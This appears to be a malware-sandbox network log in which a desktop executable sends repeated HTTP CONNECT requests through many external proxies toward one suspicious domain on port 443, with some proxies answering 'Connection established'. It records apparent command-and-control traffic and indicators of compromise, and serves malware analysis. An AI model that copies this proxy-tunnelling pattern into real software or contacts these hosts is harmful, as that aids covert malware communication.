Mar 11, 2024 15:21:04.734045029 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
720	192.168.2.9	51509	37.52.13.164	5678	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:04.734447002 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
721	192.168.2.9	52480	61.111.38.5	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:04.737118006 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:05.044614077 CET	507	IN	HTTP/1.1 502 Proxy Error Date: Mon, 11 Mar 2024 14:21:08 GMT Server: Apache Content-Length: 341 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 35 30 32 20 50 72 6f 78 79 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 50 72 6f 78 79 20 45 72 72 6f 72 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 70 72 6f 78 79 20 73 65 72 76 65 72 20 72 65 63 65 69 76 65 64 20 61 6e 20 69 6e 76 61 6c 69 64 0d 0a 72 65 73 70 6f 6e 73 65 20 66 72 6f 6d 20 61 6e 20 75 70 73 74 72 65 61 6d 20 73 65 72 76 65 72 2e 3c 62 72 20 2f 3e 0d 0a 54 68 65 20 70 72 6f 78 79 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 3c 70 3e 52 65 61 73 6f 6e 3a 20 3c 73 74 72 6f 6e 67 3e 45 72 72 6f 72 20 72 65 61 64 69 6e 67 20 66 72 6f 6d 20 72 65 6d 6f 74 65 20 73 65 72 76 65 72 3c 2f 73 74 72 6f 6e 67 3e 3c 2f 70 3e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>502 Proxy Error</title></head><body><h1>Proxy Error</h1><p>The proxy server received an invalidresponse from an upstream server.<br />The proxy server could not handle the request<p>Reason: <strong>Error reading from remote server</strong></p></p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
722	192.168.2.9	52562	104.17.166.210	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:04.739037037 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:04.893338919 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 14:21:04 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
723	192.168.2.9	52451	148.66.130.53	56350	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:04.740931034 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:05.637629032 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:06.825432062 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:08.934864044 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:13.138061047 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:17.325437069 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:21.434796095 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:29.637948036 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:46.137667894 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
724	192.168.2.9	52494	91.107.180.250	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:04.746560097 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:05.434693098 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:05.742913008 CET	343	IN	HTTP/1.1 400 Bad Request Server: nginx/1.14.0 (Ubuntu) Date: Mon, 11 Mar 2024 14:21:05 GMT Content-Type: text/html Content-Length: 182 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.14.0 (Ubuntu)</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
725	192.168.2.9	52326	106.105.218.244	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:04.754441023 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:05.591063023 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
726	192.168.2.9	51704	162.214.154.178	43581	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:04.758059025 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:07.825366020 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:10.833831072 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:16.825689077 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:28.842709064 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:40.840718985 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:52.935195923 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:22:16.934367895 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:23:04.934374094 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
727	192.168.2.9	52503	65.109.211.101	3128	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:04.763756990 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:05.125396967 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
728	192.168.2.9	52460	200.43.231.4	4153	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:04.763983965 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
729	192.168.2.9	52323	114.255.132.60	3128	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:04.769382000 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:05.536268950 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
730	192.168.2.9	52488	52.80.19.207	3128	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:04.771486044 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:05.212395906 CET	72	IN	HTTP/1.1 200 Connection established Proxy-Agent: Fortinet-Proxy/1.0
Mar 11, 2024 15:21:06.143079042 CET	72	IN	HTTP/1.1 200 Connection established Proxy-Agent: Fortinet-Proxy/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
731	192.168.2.9	51710	162.241.46.40	56241	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:04.781475067 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:07.825355053 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:10.833838940 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:16.825707912 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:28.842711926 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:40.840723038 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:52.935197115 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:22:16.934984922 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:23:04.934338093 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
732	192.168.2.9	52419	195.158.8.150	3128	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:04.783289909 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:05.590904951 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:06.834618092 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:09.294693947 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:14.117486000 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:18.997287035 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:23.814131975 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:33.403177977 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:52.371922016 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
733	192.168.2.9	52520	43.163.192.3	15673	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:04.790002108 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
734	192.168.2.9	52534	72.195.101.99	4145	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:04.792164087 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
735	192.168.2.9	52542	98.181.137.80	4145	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:04.799477100 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
736	192.168.2.9	52568	66.225.246.238	8080	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:04.799767971 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
737	192.168.2.9	51641	147.124.212.31	11070	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:04.800973892 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:07.879441977 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:10.888612032 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:16.888221979 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
